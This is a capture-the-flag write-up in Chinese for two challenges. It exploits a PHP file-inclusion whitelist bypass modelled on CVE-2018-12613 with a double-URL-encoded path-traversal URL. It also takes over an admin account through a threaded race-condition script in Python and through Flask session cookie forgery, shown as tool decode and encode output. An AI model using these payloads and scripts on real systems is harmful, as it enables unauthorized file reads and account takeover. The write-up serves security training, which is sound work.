WarmUp

题目原型是phpmyadmin4.8.1的任意文件包含漏洞

题目源码source.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

还有hint.php中提示flag在ffffllllaaaagggg

可以看到函数代码中有四个if语句

  • 第一个if语句对变量进行检验,要求$page为字符串,否则返回false
  • 第二个if语句判断page是否存在于page是否存在于whitelist数组中,存在则返回true
  • 第三个if语句判断截取后的page是否存在于page是否存在于whitelist数组中,截取$page中’?'前部分,存在则返回true
  • 第四个if语句判断url解码并截取后的page是否存在于page是否存在于whitelist中,存在则返回true
    若以上四个if语句均未返回值,则返回false

有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取’?‘前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码(GET方式提交的话两次编码,POST提交的话一次编码就好也就是%3f),在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为’?‘,仍可通过第四个if语句校验。(’?‘两次编码值为’%253f’),构造url:
http://***:***/source.php?file=source.php%253f../ffffllllaaaagggg

原理是hint.php?/被当作目录,之后上跳目录就好了(这个只适用于linux)
include函数不一样, mkdir函数,如果不存在目录就会报错

无返回值,由于我们不知道ffffllllaaaagggg文件的具体位置,只能依次增加…/,最终在
http://***:***/source.php?file=source.php%253f../../../../../ffffllllaaaagggg中成功回显flag
该漏洞cve编号为CVE-2018-12613,详情请戳

admin

Unicode cheat

HCTFadmin

在修改密码界面发现源码,下载

1. 条件竞争

在修改密码的函数中将需要更改密码的name替换成了session[name],而在登录函数中没有经过验证就将session[name]赋值成了用户输入的name,所以可能存在条件竞争,一个线程不断登录将session[name]=name,另一个线程不断改变用户密码name=session[name]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import threading
import requests
import time

def login(s,username,password):
data = {
'username':username,
'password':password,
'submit':''
}
r = s.post('http://13x.xx7.xx.xxx:9999/login',data=data)
return r

def logout(s):
s.get('http://13x.xx7.xx.xxx:9999/logout')

def change_pwd(s,newpass):
data = {
'newpassword':newpass
}
s.post('http://13x.xx7.xx.xxx:9999/change',data=data)

def func1(s):
try:
login(s,'Miracle778','Miracle778')
change_pwd(s,'Miracle778')
except Exception:
pass

def func2(s):
try:
logout(s)
r = login(s,'admin','Miracle778')
if '<a href="/index">/index</a>' in r.text:
print(r.text)
exit(0)
except Exception:
pass

for i in range(10000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1,args=(s,))
t2 = threading.Thread(target=func2,args=(s,))
t2.start()
t1.start()

2. unicode欺骗

https://www.anquanke.com/post/id/164086#h3-13

3. flask伪造session

1
2
3
4
5
root@kali:~/tool/flask_Session_EnDecode# python3 flask_session_manage.py decode -s "ckj123" -c ".eJw9kEGLwjAQhf_KkrOH1LYXwYMwbbEwCUo0TC7ittUmMS5UxbXif9_ggod3eo9v5r0n2x2G7tKz2XW4dRO2sy2bPdnXN5sxE_BOapOIQKmERYpqNQpoclKYCqh7WRFHXXChKTGAI0JzNxDz49YbaB6oMSVN3IDpjVqfJBgrQn0SqvZY1U5C7XBqPKrSGojSqxyr0lLAB7rW4pQyqfwvjZSJcZlJKDIEekSOw4pyVCYIaIPRxZy9Jqy5DIfd9cd3508FcsVIY-llfI_cySEsuIBNSqH0pFfcuFjHUTzhU6yWnKaYi-P8jbNhf-w-JFG12_Xi3znvQzTYvg32nLAJu1264T0cSzh7_QEjBGtS.XlfUdQ.yJsOhT6DGnYmPr536hldq7Edh54"
{'_fresh': True, '_id': b'fc0a556f7807143479a3742a8f41a45f5d33070d5575dd721c7af4d6ae4e86b6be52d0bc82c3fd11bd1bed90abbc227b3f8991c6872881806286c0f916f47fea', 'csrf_token': b'b13c1d833b9c004457badad4f79b61c970b4cc96', 'image': b'4gUD', 'name': 'admin1', 'user_id': '10'}

root@kali:~/tool/flask_Session_EnDecode# python3 flask_session_manage.py encode -s "cjk123" -t "{'_fresh': True, '_id': b'fc0a556f7807143479a3742a8f41a45f5d33070d5575dd721c7af4d6ae4e86b6be52d0bc82c3fd11bd1bed90abbc227b3f8991c6872881806286c0f916f47fea', 'csrf_token': b'b13c1d833b9c004457badad4f79b61c970b4cc96', 'image': b'4gUD', 'name': 'admin', 'user_id': '10'}"
.eJw9kEGLwjAQhf_KkrOHaNuL4EGYtliYBCUaJhdx26pJjAtVcY343ze44OGd3uObee_JtvuhvxzZ9Drc-hHb2o5Nn-zrm02ZCXgntR6LQJmEeYZqGQW0BSnMBDRHWRNHXXKhaWwAI0J7N5DyceMNtA_UmJEmbsAcjVqdJBgrQnMSqvFYN05C43BiPKrKGkjSywLrylLAB7rO4oRyqfwvRcpFXOQSyhyBHonjsKYClQkCumB0OWOvEWsvw357_fH9-VOBXBkpVl6m98idHMKcC1hnFCpPesmNS3UcpRM-w3rBaYKFOMzeOBt2h_5DEnW3Wc3_nfMuJIPtumDPbMRul35478bGnL3-ALk7ayE.ETlp3A.R2v1zoHqQz4dIY12sM2A4LbLGW8

据说约束攻击也是可以的